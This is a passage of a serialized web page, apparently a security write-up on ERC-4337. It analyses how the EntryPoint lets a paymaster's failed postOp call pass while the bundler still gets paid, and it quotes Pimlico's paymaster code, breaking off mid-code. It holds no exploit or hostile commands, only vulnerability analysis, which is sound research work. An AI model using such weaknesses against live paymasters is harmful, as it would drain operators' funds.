",{"type":22,"tag":30,"props":109722,"children":109724},{"className":109723},[],[109725],{"type":27,"value":109030},{"type":27,"value":231},{"type":22,"tag":23,"props":109728,"children":109729},{},[109730,109732,109737],{"type":27,"value":109731},"Let's examine the ",{"type":22,"tag":30,"props":109733,"children":109735},{"className":109734},[],[109736],{"type":27,"value":109698},{"type":27,"value":109738}," code to understand where the revert might occur.",{"type":22,"tag":91,"props":109740,"children":109742},{"className":8520,"code":109741,"language":8519,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[109743],{"type":22,"tag":30,"props":109744,"children":109745},{"__ignoreMap":7},[109746,109761,109786,109805,109824,109836,109873,109880,109912,109929,109944,109960,109984,110009,110033,110055,110073,110090,110098,110116,110132,110165,110183,110190,110197,110205,110221,110253,110275,110282,110289,110296],{"type":22,"tag":101,"props":109747,"children":109748},{"class":103,"line":104},[109749,109753,109757],{"type":22,"tag":101,"props":109750,"children":109751},{"style":108},[109752],{"type":27,"value":93338},{"type":22,"tag":101,"props":109754,"children":109755},{"style":926},[109756],{"type":27,"value":108939},{"type":22,"tag":101,"props":109758,"children":109759},{"style":120},[109760],{"type":27,"value":1850},{"type":22,"tag":101,"props":109762,"children":109763},{"class":103,"line":157},[109764,109769,109773,109777,109782],{"type":22,"tag":101,"props":109765,"children":109766},{"style":108},[109767],{"type":27,"value":109768}," IPaymaster",{"type":22,"tag":101,"props":109770,"children":109771},{"style":120},[109772],{"type":27,"value":231},{"type":22,"tag":101,"props":109774,"children":109775},{"style":126},[109776],{"type":27,"value":107299},{"type":22,"tag":101,"props":109778,"children":109779},{"style":126},[109780],{"type":27,"value":109781}," mode",{"type":22,"tag":101,"props":109783,"children":109784},{"style":120},[109785],{"type":27,"value":179},{"type":22,"tag":101,"props":109787,"children":109788},{"class":103,"line":182},[109789,109793,109797,109801],{"type":22,"tag":101,"props":109790,"children":109791},{"style":108},[109792],{"type":27,"value":108247},{"type":22,"tag":101,"props":109794,"children":109795},{"style":108},[109796],{"type":27,"value":106587},{"type":22,"tag":101,"props":109798,"children":109799},{"style":126},[109800],{"type":27,"value":109235},{"type":22,"tag":101,"props":109802,"children":109803},{"style":120},[109804],{"type":27,"value":179},{"type":22,"tag":101,"props":109806,"children":109807},{"class":103,"line":367},[109808,109812,109816,109820],{"type":22,"tag":101,"props":109809,"children":109810},{"style":114},[109811],{"type":27,"value":109206},{"type":22,"tag":101,"props":109813,"children":109814},{"style":108},[109815],{"type":27,"value":106587},{"type":22,"tag":101,"props":109817,"children":109818},{"style":126},[109819],{"type":27,"value":79847},{"type":22,"tag":101,"props":109821,"children":109822},{"style":120},[109823],{"type":27,"value":179},{"type":22,"tag":101,"props":109825,"children":109826},{"class":103,"line":398},[109827,109831],{"type":22,"tag":101,"props":109828,"children":109829},{"style":114},[109830],{"type":27,"value":93516},{"type":22,"tag":101,"props":109832,"children":109833},{"style":126},[109834],{"type":27,"value":109835}," actualGas\n",{"type":22,"tag":101,"props":109837,"children":109838},{"class":103,"line":428},[109839,109843,109848,109853,109857,109861,109865,109869],{"type":22,"tag":101,"props":109840,"children":109841},{"style":120},[109842],{"type":27,"value":109263},{"type":22,"tag":101,"props":109844,"children":109845},{"style":108},[109846],{"type":27,"value":109847},"internal",{"type":22,"tag":101,"props":109849,"children":109850},{"style":108},[109851],{"type":27,"value":109852}," virtual",{"type":22,"tag":101,"props":109854,"children":109855},{"style":3595},[109856],{"type":27,"value":79500},{"type":22,"tag":101,"props":109858,"children":109859},{"style":120},[109860],{"type":27,"value":3603},{"type":22,"tag":101,"props":109862,"children":109863},{"style":114},[109864],{"type":27,"value":50164},{"type":22,"tag":101,"props":109866,"children":109867},{"style":126},[109868],{"type":27,"value":107328},{"type":22,"tag":101,"props":109870,"children":109871},{"style":120},[109872],{"type":27,"value":1463},{"type":22,"tag":101,"props":109874,"children":109875},{"class":103,"line":997},[109876],{"type":22,"tag":101,"props":109877,"children":109878},{"style":120},[109879],{"type":27,"value":108308},{"type":22,"tag":101,"props":109881,"children":109882},{"class":103,"line":1032},[109883,109887,109892,109896,109900,109904,109908],{"type":22,"tag":101,"props":109884,"children":109885},{"style":3595},[109886],{"type":27,"value":62798},{"type":22,"tag":101,"props":109888,"children":109889},{"style":120},[109890],{"type":27,"value":109891}," (paymaster ",{"type":22,"tag":101,"props":109893,"children":109894},{"style":166},[109895],{"type":27,"value":4340},{"type":22,"tag":101,"props":109897,"children":109898},{"style":114},[109899],{"type":27,"value":3540},{"type":22,"tag":101,"props":109901,"children":109902},{"style":120},[109903],{"type":27,"value":980},{"type":22,"tag":101,"props":109905,"children":109906},{"style":1544},[109907],{"type":27,"value":8065},{"type":22,"tag":101,"props":109909,"children":109910},{"style":120},[109911],{"type":27,"value":39190},{"type":22,"tag":101,"props":109913,"children":109914},{"class":103,"line":1063},[109915,109920,109924],{"type":22,"tag":101,"props":109916,"children":109917},{"style":120},[109918],{"type":27,"value":109919}," refundAddress ",{"type":22,"tag":101,"props":109921,"children":109922},{"style":166},[109923],{"type":27,"value":1511},{"type":22,"tag":101,"props":109925,"children":109926},{"style":120},[109927],{"type":27,"value":109928}," mUserOp.sender;\n",{"type":22,"tag":101,"props":109930,"children":109931},{"class":103,"line":1071},[109932,109936,109940],{"type":22,"tag":101,"props":109933,"children":109934},{"style":120},[109935],{"type":27,"value":74099},{"type":22,"tag":101,"props":109937,"children":109938},{"style":3595},[109939],{"type":27,"value":7354},{"type":22,"tag":101,"props":109941,"children":109942},{"style":120},[109943],{"type":27,"value":154},{"type":22,"tag":101,"props":109945,"children":109946},{"class":103,"line":1110},[109947,109951,109955],{"type":22,"tag":101,"props":109948,"children":109949},{"style":120},[109950],{"type":27,"value":109919},{"type":22,"tag":101,"props":109952,"children":109953},{"style":166},[109954],{"type":27,"value":1511},{"type":22,"tag":101,"props":109956,"children":109957},{"style":120},[109958],{"type":27,"value":109959}," paymaster;\n",{"type":22,"tag":101,"props":109961,"children":109962},{"class":103,"line":1118},[109963,109967,109972,109976,109980],{"type":22,"tag":101,"props":109964,"children":109965},{"style":3595},[109966],{"type":27,"value":107027},{"type":22,"tag":101,"props":109968,"children":109969},{"style":120},[109970],{"type":27,"value":109971}," (context.length ",{"type":22,"tag":101,"props":109973,"children":109974},{"style":166},[109975],{"type":27,"value":14467},{"type":22,"tag":101,"props":109977,"children":109978},{"style":1544},[109979],{"type":27,"value":1547},{"type":22,"tag":101,"props":109981,"children":109982},{"style":120},[109983],{"type":27,"value":1463},{"type":22,"tag":101,"props":109985,"children":109986},{"class":103,"line":1158},[109987,109992,109996,110000,110004],{"type":22,"tag":101,"props":109988,"children":109989},{"style":120},[109990],{"type":27,"value":109991}," actualGasCost ",{"type":22,"tag":101,"props":109993,"children":109994},{"style":166},[109995],{"type":27,"value":1511},{"type":22,"tag":101,"props":109997,"children":109998},{"style":120},[109999],{"type":27,"value":108799},{"type":22,"tag":101,"props":110001,"children":110002},{"style":166},[110003],{"type":27,"value":8615},{"type":22,"tag":101,"props":110005,"children":110006},{"style":120},[110007],{"type":27,"value":110008}," gasPrice;\n",{"type":22,"tag":101,"props":110010,"children":110011},{"class":103,"line":1166},[110012,110016,110021,110025,110029],{"type":22,"tag":101,"props":110013,"children":110014},{"style":114},[110015],{"type":27,"value":106984},{"type":22,"tag":101,"props":110017,"children":110018},{"style":120},[110019],{"type":27,"value":110020}," postOpPreGas ",{"type":22,"tag":101,"props":110022,"children":110023},{"style":166},[110024],{"type":27,"value":1511},{"type":22,"tag":101,"props":110026,"children":110027},{"style":108},[110028],{"type":27,"value":108817},{"type":22,"tag":101,"props":110030,"children":110031},{"style":120},[110032],{"type":27,"value":934},{"type":22,"tag":101,"props":110034,"children":110035},{"class":103,"line":1215},[110036,110041,110046,110050],{"type":22,"tag":101,"props":110037,"children":110038},{"style":3595},[110039],{"type":27,"value":110040}," if",{"type":22,"tag":101,"props":110042,"children":110043},{"style":120},[110044],{"type":27,"value":110045}," (mode ",{"type":22,"tag":101,"props":110047,"children":110048},{"style":166},[110049],{"type":27,"value":19686},{"type":22,"tag":101,"props":110051,"children":110052},{"style":120},[110053],{"type":27,"value":110054}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":22,"tag":101,"props":110056,"children":110057},{"class":103,"line":2425},[110058,110063,110068],{"type":22,"tag":101,"props":110059,"children":110060},{"style":3595},[110061],{"type":27,"value":110062}," try",{"type":22,"tag":101,"props":110064,"children":110065},{"style":926},[110066],{"type":27,"value":110067}," IPaymaster",{"type":22,"tag":101,"props":110069,"children":110070},{"style":120},[110071],{"type":27,"value":110072},"(paymaster).postOp{\n",{"type":22,"tag":101,"props":110074,"children":110075},{"class":103,"line":5417},[110076,110081,110085],{"type":22,"tag":101,"props":110077,"children":110078},{"style":120},[110079],{"type":27,"value":110080}," gas",{"type":22,"tag":101,"props":110082,"children":110083},{"style":166},[110084],{"type":27,"value":169},{"type":22,"tag":101,"props":110086,"children":110087},{"style":120},[110088],{"type":27,"value":110089}," mUserOp.paymasterPostOpGasLimit\n",{"type":22,"tag":101,"props":110091,"children":110092},{"class":103,"line":7714},[110093],{"type":22,"tag":101,"props":110094,"children":110095},{"style":120},[110096],{"type":27,"value":110097}," }(mode, context, actualGasCost, gasPrice)\n",{"type":22,"tag":101,"props":110099,"children":110100},{"class":103,"line":7723},[110101,110106,110111],{"type":22,"tag":101,"props":110102,"children":110103},{"style":2215},[110104],{"type":27,"value":110105}," // ",{"type":22,"tag":101,"props":110107,"children":110108},{"style":108},[110109],{"type":27,"value":110110},"solhint-disable",{"type":22,"tag":101,"props":110112,"children":110113},{"style":2215},[110114],{"type":27,"value":110115},"-next-line no-empty-blocks\n",{"type":22,"tag":101,"props":110117,"children":110118},{"class":103,"line":7791},[110119,110124,110128],{"type":22,"tag":101,"props":110120,"children":110121},{"style":120},[110122],{"type":27,"value":110123}," {} ",{"type":22,"tag":101,"props":110125,"children":110126},{"style":3595},[110127],{"type":27,"value":52408},{"type":22,"tag":101,"props":110129,"children":110130},{"style":120},[110131],{"type":27,"value":154},{"type":22,"tag":101,"props":110133,"children":110134},{"class":103,"line":7799},[110135,110140,110144,110149,110153,110157,110161],{"type":22,"tag":101,"props":110136,"children":110137},{"style":114},[110138],{"type":27,"value":110139}," bytes",{"type":22,"tag":101,"props":110141,"children":110142},{"style":108},[110143],{"type":27,"value":106587},{"type":22,"tag":101,"props":110145,"children":110146},{"style":120},[110147],{"type":27,"value":110148}," reason ",{"type":22,"tag":101,"props":110150,"children":110151},{"style":166},[110152],{"type":27,"value":1511},{"type":22,"tag":101,"props":110154,"children":110155},{"style":120},[110156],{"type":27,"value":109358},{"type":22,"tag":101,"props":110158,"children":110159},{"style":926},[110160],{"type":27,"value":109449},{"type":22,"tag":101,"props":110162,"children":110163},{"style":120},[110164],{"type":27,"value":109454},{"type":22,"tag":101,"props":110166,"children":110167},{"class":103,"line":7829},[110168,110173,110178],{"type":22,"tag":101,"props":110169,"children":110170},{"style":3595},[110171],{"type":27,"value":110172}," revert",{"type":22,"tag":101,"props":110174,"children":110175},{"style":926},[110176],{"type":27,"value":110177}," PostOpReverted",{"type":22,"tag":101,"props":110179,"children":110180},{"style":120},[110181],{"type":27,"value":110182},"(reason);\n",{"type":22,"tag":101,"props":110184,"children":110185},{"class":103,"line":7837},[110186],{"type":22,"tag":101,"props":110187,"children":110188},{"style":120},[110189],{"type":27,"value":74483},{"type":22,"tag":101,"props":110191,"children":110192},{"class":103,"line":7868},[110193],{"type":22,"tag":101,"props":110194,"children":110195},{"style":120},[110196],{"type":27,"value":74568},{"type":22,"tag":101,"props":110198,"children":110199},{"class":103,"line":7876},[110200],{"type":22,"tag":101,"props":110201,"children":110202},{"style":2215},[110203],{"type":27,"value":110204}," // Calculating a penalty for unused postOp gas\n",{"type":22,"tag":101,"props":110206,"children":110207},{"class":103,"line":7936},[110208,110212,110216],{"type":22,"tag":101,"props":110209,"children":110210},{"style":2215},[110211],{"type":27,"value":107049},{"type":22,"tag":101,"props":110213,"children":110214},{"style":108},[110215],{"type":27,"value":6005},{"type":22,"tag":101,"props":110217,"children":110218},{"style":2215},[110219],{"type":27,"value":110220}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":22,"tag":101,"props":110222,"children":110223},{"class":103,"line":13054},[110224,110228,110233,110237,110241,110245,110249],{"type":22,"tag":101,"props":110225,"children":110226},{"style":114},[110227],{"type":27,"value":106984},{"type":22,"tag":101,"props":110229,"children":110230},{"style":120},[110231],{"type":27,"value":110232}," postOpGasUsed ",{"type":22,"tag":101,"props":110234,"children":110235},{"style":166},[110236],{"type":27,"value":1511},{"type":22,"tag":101,"props":110238,"children":110239},{"style":120},[110240],{"type":27,"value":110020},{"type":22,"tag":101,"props":110242,"children":110243},{"style":166},[110244],{"type":27,"value":8372},{"type":22,"tag":101,"props":110246,"children":110247},{"style":108},[110248],{"type":27,"value":108817},{"type":22,"tag":101,"props":110250,"children":110251},{"style":120},[110252],{"type":27,"value":934},{"type":22,"tag":101,"props":110254,"children":110255},{"class":103,"line":13072},[110256,110261,110265,110270],{"type":22,"tag":101,"props":110257,"children":110258},{"style":120},[110259],{"type":27,"value":110260}," postOpUnusedGasPenalty ",{"type":22,"tag":101,"props":110262,"children":110263},{"style":166},[110264],{"type":27,"value":1511},{"type":22,"tag":101,"props":110266,"children":110267},{"style":926},[110268],{"type":27,"value":110269}," _getUnusedGasPenalty",{"type":22,"tag":101,"props":110271,"children":110272},{"style":120},[110273],{"type":27,"value":110274},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":22,"tag":101,"props":110276,"children":110277},{"class":103,"line":13117},[110278],{"type":22,"tag":101,"props":110279,"children":110280},{"style":120},[110281],{"type":27,"value":74576},{"type":22,"tag":101,"props":110283,"children":110284},{"class":103,"line":13223},[110285],{"type":22,"tag":101,"props":110286,"children":110287},{"style":120},[110288],{"type":27,"value":62882},{"type":22,"tag":101,"props":110290,"children":110291},{"class":103,"line":27496},[110292],{"type":22,"tag":101,"props":110293,"children":110294},{"style":120},[110295],{"type":27,"value":108308},{"type":22,"tag":101,"props":110297,"children":110298},{"class":103,"line":27531},[110299],{"type":22,"tag":101,"props":110300,"children":110301},{"style":120},[110302],{"type":27,"value":1734},{"type":22,"tag":23,"props":110304,"children":110305},{},[110306,110308,110313,110315,110321,110323,110329,110331,110336,110338,110343,110345,110350,110352,110357,110359,110364,110366,110371],{"type":27,"value":110307},"It turns out that if the ",{"type":22,"tag":30,"props":110309,"children":110311},{"className":110310},[],[110312],{"type":27,"value":105888},{"type":27,"value":110314}," call fails, it will revert with ",{"type":22,"tag":30,"props":110316,"children":110318},{"className":110317},[],[110319],{"type":27,"value":110320},"PostOpReverted",{"type":27,"value":110322},". However, as we can see in the previous code of ",{"type":22,"tag":30,"props":110324,"children":110326},{"className":110325},[],[110327],{"type":27,"value":110328},"_executeUserOp",{"type":27,"value":110330},", even though ",{"type":22,"tag":30,"props":110332,"children":110334},{"className":110333},[],[110335],{"type":27,"value":109030},{"type":27,"value":110337}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":22,"tag":30,"props":110339,"children":110341},{"className":110340},[],[110342],{"type":27,"value":109698},{"type":27,"value":110344}," call with ",{"type":22,"tag":30,"props":110346,"children":110348},{"className":110347},[],[110349],{"type":27,"value":109706},{"type":27,"value":110351}," mode, and it won't try to call ",{"type":22,"tag":30,"props":110353,"children":110355},{"className":110354},[],[110356],{"type":27,"value":105888},{"type":27,"value":110358}," again. This means the ",{"type":22,"tag":30,"props":110360,"children":110362},{"className":110361},[],[110363],{"type":27,"value":105749},{"type":27,"value":110365}," still gets paid for submitting the failed ",{"type":22,"tag":30,"props":110367,"children":110369},{"className":110368},[],[110370],{"type":27,"value":105689},{"type":27,"value":231},{"type":22,"tag":23,"props":110373,"children":110374},{},[110375,110377,110382,110384,110389,110391,110398],{"type":27,"value":110376},"Now that we understand this behavior where ",{"type":22,"tag":30,"props":110378,"children":110380},{"className":110379},[],[110381],{"type":27,"value":105888},{"type":27,"value":110383}," is allowed to fail while the ",{"type":22,"tag":30,"props":110385,"children":110387},{"className":110386},[],[110388],{"type":27,"value":105749},{"type":27,"value":110390}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":22,"tag":80,"props":110392,"children":110395},{"href":110393,"rel":110394},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[84],[110396],{"type":27,"value":110397},"Pimlico",{"type":27,"value":231},{"type":22,"tag":91,"props":110400,"children":110402},{"className":8520,"code":110401,"language":8519,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[110403],{"type":22,"tag":30,"props":110404,"children":110405},{"__ignoreMap":7},[110406,110421,110438,110458,110474,110486,110493,110500,110507,110538,110545,110570,110578,110585,110592,110621,110628,110644,110666,110673,110689,110739,110746,110762,110770,110803,110836,110844,110851,110858,110901,110908,110957,110983,110990,110997,111014],{"type":22,"tag":101,"props":110407,"children":110408},{"class":103,"line":104},[110409,110413,110417],{"type":22,"tag":101,"props":110410,"children":110411},{"style":108},[110412],{"type":27,"value":93338},{"type":22,"tag":101,"props":110414,"children":110415},{"style":926},[110416],{"type":27,"value":107290},{"type":22,"tag":101,"props":110418,"children":110419},{"style":120},[110420],{"type":27,"value":1850},{"type":22,"tag":101,"props":110422,"children":110423},{"class":103,"line":157},[110424,110429,110433],{"type":22,"tag":101,"props":110425,"children":110426},{"style":108},[110427],{"type":27,"value":110428}," PostOpMode",{"type":22,"tag":101,"props":110430,"children":110431},{"style":120},[110432],{"type":27,"value":758},{"type":22,"tag":101,"props":110434,"children":110435},{"style":2215},[110436],{"type":27,"value":110437},"/* mode */\n",{"type":22,"tag":101,"props":110439,"children":110440},{"class":103,"line":182},[110441,110445,110449,110454],{"type":22,"tag":101,"props":110442,"children":110443},{"style":114},[110444],{"type":27,"value":109206},{"type":22,"tag":101,"props":110446,"children":110447},{"style":108},[110448],{"type":27,"value":106519},{"type":22,"tag":101,"props":110450,"children":110451},{"style":126},[110452],{"type":27,"value":110453}," _context",{"type":22,"tag":101,"props":110455,"children":110456},{"style":120},[110457],{"type":27,"value":179},{"type":22,"tag":101,"props":110459,"children":110460},{"class":103,"line":367},[110461,110465,110470],{"type":22,"tag":101,"props":110462,"children":110463},{"style":114},[110464],{"type":27,"value":93516},{"type":22,"tag":101,"props":110466,"children":110467},{"style":126},[110468],{"type":27,"value":110469}," _actualGasCost",{"type":22,"tag":101,"props":110471,"children":110472},{"style":120},[110473],{"type":27,"value":179},{"type":22,"tag":101,"props":110475,"children":110476},{"class":103,"line":398},[110477,110481],{"type":22,"tag":101,"props":110478,"children":110479},{"style":114},[110480],{"type":27,"value":93516},{"type":22,"tag":101,"props":110482,"children":110483},{"style":126},[110484],{"type":27,"value":110485}," _actualUserOpFeePerGas\n",{"type":22,"tag":101,"props":110487,"children":110488},{"class":103,"line":428},[110489],{"type":22,"tag":101,"props":110490,"children":110491},{"style":120},[110492],{"type":27,"value":27917},{"type":22,"tag":101,"props":110494,"children":110495},{"class":103,"line":997},[110496],{"type":22,"tag":101,"props":110497,"children":110498},{"style":108},[110499],{"type":27,"value":106558},{"type":22,"tag":101,"props":110501,"children":110502},{"class":103,"line":1032},[110503],{"type":22,"tag":101,"props":110504,"children":110505},{"style":120},[110506],{"type":27,"value":33186},{"type":22,"tag":101,"props":110508,"children":110509},{"class":103,"line":1063},[110510,110515,110519,110524,110528,110533],{"type":22,"tag":101,"props":110511,"children":110512},{"style":120},[110513],{"type":27,"value":110514}," ERC20PostOpContext ",{"type":22,"tag":101,"props":110516,"children":110517},{"style":108},[110518],{"type":27,"value":79479},{"type":22,"tag":101,"props":110520,"children":110521},{"style":120},[110522],{"type":27,"value":110523}," ctx ",{"type":22,"tag":101,"props":110525,"children":110526},{"style":166},[110527],{"type":27,"value":1511},{"type":22,"tag":101,"props":110529,"children":110530},{"style":926},[110531],{"type":27,"value":110532}," _parsePostOpContext",{"type":22,"tag":101,"props":110534,"children":110535},{"style":120},[110536],{"type":27,"value":110537},"(_context);\n",{"type":22,"tag":101,"props":110539,"children":110540},{"class":103,"line":1071},[110541],{"type":22,"tag":101,"props":110542,"children":110543},{"emptyLinePlaceholder":15},[110544],{"type":27,"value":1581},{"type":22,"tag":101,"props":110546,"children":110547},{"class":103,"line":1110},[110548,110552,110557,110561,110566],{"type":22,"tag":101,"props":110549,"children":110550},{"style":114},[110551],{"type":27,"value":93516},{"type":22,"tag":101,"props":110553,"children":110554},{"style":120},[110555],{"type":27,"value":110556}," expectedPenaltyGasCost ",{"type":22,"tag":101,"props":110558,"children":110559},{"style":166},[110560],{"type":27,"value":1511},{"type":22,"tag":101,"props":110562,"children":110563},{"style":926},[110564],{"type":27,"value":110565}," _expectedPenaltyGasCost",{"type":22,"tag":101,"props":110567,"children":110568},{"style":120},[110569],{"type":27,"value":1850},{"type":22,"tag":101,"props":110571,"children":110572},{"class":103,"line":1118},[110573],{"type":22,"tag":101,"props":110574,"children":110575},{"style":120},[110576],{"type":27,"value":110577}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":22,"tag":101,"props":110579,"children":110580},{"class":103,"line":1158},[110581],{"type":22,"tag":101,"props":110582,"children":110583},{"style":120},[110584],{"type":27,"value":3738},{"type":22,"tag":101,"props":110586,"children":110587},{"class":103,"line":1166},[110588],{"type":22,"tag":101,"props":110589,"children":110590},{"emptyLinePlaceholder":15},[110591],{"type":27,"value":1581},{"type":22,"tag":101,"props":110593,"children":110594},{"class":103,"line":1215},[110595,110599,110603,110607,110612,110616],{"type":22,"tag":101,"props":110596,"children":110597},{"style":114},[110598],{"type":27,"value":93516},{"type":22,"tag":101,"props":110600,"children":110601},{"style":120},[110602],{"type":27,"value":107614},{"type":22,"tag":101,"props":110604,"children":110605},{"style":166},[110606],{"type":27,"value":1511},{"type":22,"tag":101,"props":110608,"children":110609},{"style":120},[110610],{"type":27,"value":110611}," _actualGasCost ",{"type":22,"tag":101,"props":110613,"children":110614},{"style":166},[110615],{"type":27,"value":8426},{"type":22,"tag":101,"props":110617,"children":110618},{"style":120},[110619],{"type":27,"value":110620}," expectedPenaltyGasCost;\n",{"type":22,"tag":101,"props":110622,"children":110623},{"class":103,"line":2425},[110624],{"type":22,"tag":101,"props":110625,"children":110626},{"emptyLinePlaceholder":15},[110627],{"type":27,"value":1581},{"type":22,"tag":101,"props":110629,"children":110630},{"class":103,"line":5417},[110631,110635,110640],{"type":22,"tag":101,"props":110632,"children":110633},{"style":114},[110634],{"type":27,"value":93516},{"type":22,"tag":101,"props":110636,"children":110637},{"style":120},[110638],{"type":27,"value":110639}," costInToken ",{"type":22,"tag":101,"props":110641,"children":110642},{"style":166},[110643],{"type":27,"value":18695},{"type":22,"tag":101,"props":110645,"children":110646},{"class":103,"line":7714},[110647,110652,110657,110661],{"type":22,"tag":101,"props":110648,"children":110649},{"style":926},[110650],{"type":27,"value":110651}," getCostInToken",{"type":22,"tag":101,"props":110653,"children":110654},{"style":120},[110655],{"type":27,"value":110656},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":22,"tag":101,"props":110658,"children":110659},{"style":166},[110660],{"type":27,"value":8426},{"type":22,"tag":101,"props":110662,"children":110663},{"style":120},[110664],{"type":27,"value":110665}," ctx.constantFee;\n",{"type":22,"tag":101,"props":110667,"children":110668},{"class":103,"line":7723},[110669],{"type":22,"tag":101,"props":110670,"children":110671},{"emptyLinePlaceholder":15},[110672],{"type":27,"value":1581},{"type":22,"tag":101,"props":110674,"children":110675},{"class":103,"line":7791},[110676,110680,110685],{"type":22,"tag":101,"props":110677,"children":110678},{"style":114},[110679],{"type":27,"value":93516},{"type":22,"tag":101,"props":110681,"children":110682},{"style":120},[110683],{"type":27,"value":110684}," absoluteCostInToken ",{"type":22,"tag":101,"props":110686,"children":110687},{"style":166},[110688],{"type":27,"value":18695},{"type":22,"tag":101,"props":110690,"children":110691},{"class":103,"line":7799},[110692,110697,110701,110706,110710,110714,110718,110722,110726,110730,110734],{"type":22,"tag":101,"props":110693,"children":110694},{"style":120},[110695],{"type":27,"value":110696}," costInToken ",{"type":22,"tag":101,"props":110698,"children":110699},{"style":166},[110700],{"type":27,"value":14467},{"type":22,"tag":101,"props":110702,"children":110703},{"style":120},[110704],{"type":27,"value":110705}," ctx.preFundCharged ",{"type":22,"tag":101,"props":110707,"children":110708},{"style":166},[110709],{"type":27,"value":5455},{"type":22,"tag":101,"props":110711,"children":110712},{"style":120},[110713],{"type":27,"value":110639},{"type":22,"tag":101,"props":110715,"children":110716},{"style":166},[110717],{"type":27,"value":8372},{"type":22,"tag":101,"props":110719,"children":110720},{"style":120},[110721],{"type":27,"value":110705},{"type":22,"tag":101,"props":110723,"children":110724},{"style":166},[110725],{"type":27,"value":169},{"type":22,"tag":101,"props":110727,"children":110728},{"style":120},[110729],{"type":27,"value":110705},{"type":22,"tag":101,"props":110731,"children":110732},{"style":166},[110733],{"type":27,"value":8372},{"type":22,"tag":101,"props":110735,"children":110736},{"style":120},[110737],{"type":27,"value":110738}," costInToken;\n",{"type":22,"tag":101,"props":110740,"children":110741},{"class":103,"line":7829},[110742],{"type":22,"tag":101,"props":110743,"children":110744},{"emptyLinePlaceholder":15},[110745],{"type":27,"value":1581},{"type":22,"tag":101,"props":110747,"children":110748},{"class":103,"line":7837},[110749,110754,110758],{"type":22,"tag":101,"props":110750,"children":110751},{"style":120},[110752],{"type":27,"value":110753}," SafeTransferLib.",{"type":22,"tag":101,"props":110755,"children":110756},{"style":926},[110757],{"type":27,"value":107145},{"type":22,"tag":101,"props":110759,"children":110760},{"style":120},[110761],{"type":27,"value":1850},{"type":22,"tag":101,"props":110763,"children":110764},{"class":103,"line":7868},[110765],{"type":22,"tag":101,"props":110766,"children":110767},{"style":120},[110768],{"type":27,"value":110769}," ctx.token,\n",{"type":22,"tag":101,"props":110771,"children":110772},{"class":103,"line":7876},[110773,110777,110781,110785,110789,110794,110798],{"type":22,"tag":101,"props":110774,"children":110775},{"style":120},[110776],{"type":27,"value":110696},{"type":22,"tag":101,"props":110778,"children":110779},{"style":166},[110780],{"type":27,"value":14467},{"type":22,"tag":101,"props":110782,"children":110783},{"style":120},[110784],{"type":27,"value":110705},{"type":22,"tag":101,"props":110786,"children":110787},{"style":166},[110788],{"type":27,"value":5455},{"type":22,"tag":101,"props":110790,"children":110791},{"style":120},[110792],{"type":27,"value":110793}," ctx.sender ",{"type":22,"tag":101,"props":110795,"children":110796},{"style":166},[110797],{"type":27,"value":169},{"type":22,"tag":101,"props":110799,"children":110800},{"style":120},[110801],{"type":27,"value":110802}," ctx.treasury,\n",{"type":22,"tag":101,"props":110804,"children":110805},{"class":103,"line":7936},[110806,110810,110814,110818,110822,110827,110831],{"type":22,"tag":101,"props":110807,"children":110808},{"style":120},[110809],{"type":27,"value":110696},{"type":22,"tag":101,"props":110811,"children":110812},{"style":166},[110813],{"type":27,"value":14467},{"type":22,"tag":101,"props":110815,"children":110816},{"style":120},[110817],{"type":27,"value":110705},{"type":22,"tag":101,"props":110819,"children":110820},{"style":166},[110821],{"type":27,"value":5455},{"type":22,"tag":101,"props":110823,"children":110824},{"style":120},[110825],{"type":27,"value":110826}," ctx.treasury 